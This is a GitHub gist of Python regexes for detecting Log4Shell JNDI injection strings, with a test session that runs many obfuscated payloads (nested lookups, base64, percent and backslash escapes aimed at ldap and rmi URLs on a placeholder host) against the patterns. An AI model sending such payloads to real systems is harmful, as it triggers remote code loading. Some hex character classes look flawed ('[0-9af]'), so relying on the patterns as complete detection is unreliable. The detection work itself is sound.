>>> from log4shell_regexes import *
>>> t = lambda s: [k for k in test(s)]
>>> tt = lambda s: [(k, list(v.keys())) for k, v in test_thorough(s).items()]
>>> t('${ jndi\t: addr\n}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${ jndi\t: addr\n')
['SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('\044%7B\\44{env:NOTHING:-j}\u0024{lower:N}\\u0024{lower:${upper:d}}}i:addr}')
['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${base64:d2hvIHRob3VnaHQgYW55IG9mIHRoaXMgd2FzIGEgZ29vZCBpZGVhPwo=}')
['ANY_RE', 'ANY_INCL_ESCS_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('%24%7Bjnd%24%7Bupper%3A%C4%B1%7D%3Aaddr%7D')
['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('$%7B\u006a\\156di:addr\\x7d')
['ANY_INCL_ESCS_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://$a{upper:d}dr}')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${jndi:dns://addr}')
['SIMPLE_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${${base64:am5kaTpsZGFwOi8vYWRkcgo=}}') # LOG4J2-2446
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${jndi:${lower:l}${lower:d}a${lower:p}://addr')
['SIMPLE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${${::-j}nd${upper:ı}:rm${upper:ı}://addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//addr}')
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
>>> t('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[]
>>> tt('%5Cu002524%257Bjnd%2524%257Bupper%255Cu003a%255C%255C461%257D%253Aldap%253A%5C0452F%252Faddr%257D')
[
(
'\\u002524%7Bjnd%24%7Bupper%5Cu003a%5C%5C461%7D%3Aldap%3A\\0452F%2Faddr%7D',
['NESTED_INCL_ESCS_RE', 'ANY_INCL_ESCS_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
), (
'${jnd${upper\\u003a\\\\461}:ldap://addr}',
['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
), (
'${jnd${upper:\\461}:ldap://addr}',
['SIMPLE_ESC_VALUE_RE', 'NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'SIMPLE_ESC_VALUE_OPT_RCURLY_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
), (
'${jnd${upper:ı}:ldap://addr}',
['NESTED_RE', 'NESTED_INCL_ESCS_RE', 'ANY_RE', 'ANY_INCL_ESCS_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCL_ESCS_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCL_ESCS_OPT_RCURLY_RE']
)
]
-
-
Save slyd0g/e5eb564d0d47ea247464fb18c24261cf to your computer and use it in GitHub Desktop.
log4shell Regexes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
from urllib.parse import unquote | |
FLAGS = re.IGNORECASE | re.DOTALL | |
ESC_DOLLAR = r'(?:\$|\\u0024||\\x24|\\0?44|%24)' | |
ESC_LCURLY = r'(?:\{|\\u007B|\\x7B|\\173|%7B)' | |
ESC_RCURLY = r'(?:\}|\\u007D|\\x7D|\\175|%7D)' | |
_BACKSLASH_ESCAPE_RE = re.compile(r'\\(?:u[0-9af]{4}|x[0-9af]{2}|[0-7]{,3})') | |
_PERCENT_ESCAPE_RE = re.compile(r'%[0-9af]{2}') | |
# Simple exploitation | |
SIMPLE_RE = re.compile( | |
r'\$\{\s*jndi\s*:.*\}', | |
flags=FLAGS, | |
) | |
# Simple exploitation involving an escaped value (e.g., \u006a, \156, \x64, %69) | |
SIMPLE_ESC_VALUE_RE = re.compile( | |
r'\$\{.*(?:\\|%).*\}', | |
flags=FLAGS, | |
) | |
# Nested templating | |
NESTED_RE = re.compile( | |
r'\$\{.*\$\{.*\}.*\}', | |
flags=FLAGS, | |
) | |
# Nested templating, including escaped characters | |
NESTED_INCL_ESCS_RE = re.compile( | |
r'(?:' + ESC_DOLLAR + ESC_LCURLY + r'.*){2}' + ESC_RCURLY + r'.*' + ESC_RCURLY, | |
flags=FLAGS, | |
) | |
# Any ${} tokens | |
ANY_RE = re.compile( | |
r'\$\{.*\}', | |
flags=FLAGS, | |
) | |
# Any ${} tokens, including escaped characters | |
ANY_INCL_ESCS_RE = re.compile( | |
ESC_DOLLAR + ESC_LCURLY + r'.*' + ESC_RCURLY, | |
flags=FLAGS, | |
) | |
# Any of the above, but with an unterminated token (`${jndi:addr`) | |
for k, r in [(k, r) for k, r in locals().items() if k.endswith('_RE')]: | |
locals()[k.replace('_RE', '_OPT_RCURLY_RE')] = re.compile( | |
r.pattern+ r'?', | |
flags=FLAGS | |
) | |
regexes = {k: h for k, h in locals().items() if k[0] != '_' and k.endswith('_RE')} | |
def test(string): | |
'''Scan string with all regexes.''' | |
matches = {} | |
for name, regex in regexes.items(): | |
if match := regex.search(string): | |
matches[name] = match | |
return matches | |
def test_thorough(string): | |
'''Scan string with all regexes, recursively decoding escape codes.''' | |
last_string, matches = None, {} | |
while ( | |
last_string != string | |
and ( | |
last_string is None | |
or len(last_string) > len(string) | |
) | |
): | |
if match := test(string): matches[string] = match | |
last_string = string | |
if _BACKSLASH_ESCAPE_RE.search(string): | |
string = string.encode().decode('unicode_escape') | |
if _PERCENT_ESCAPE_RE.search(string): | |
string = unquote(string) | |
return matches | |
__all__ = list(regexes.keys()) + ['test', 'test_thorough'] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment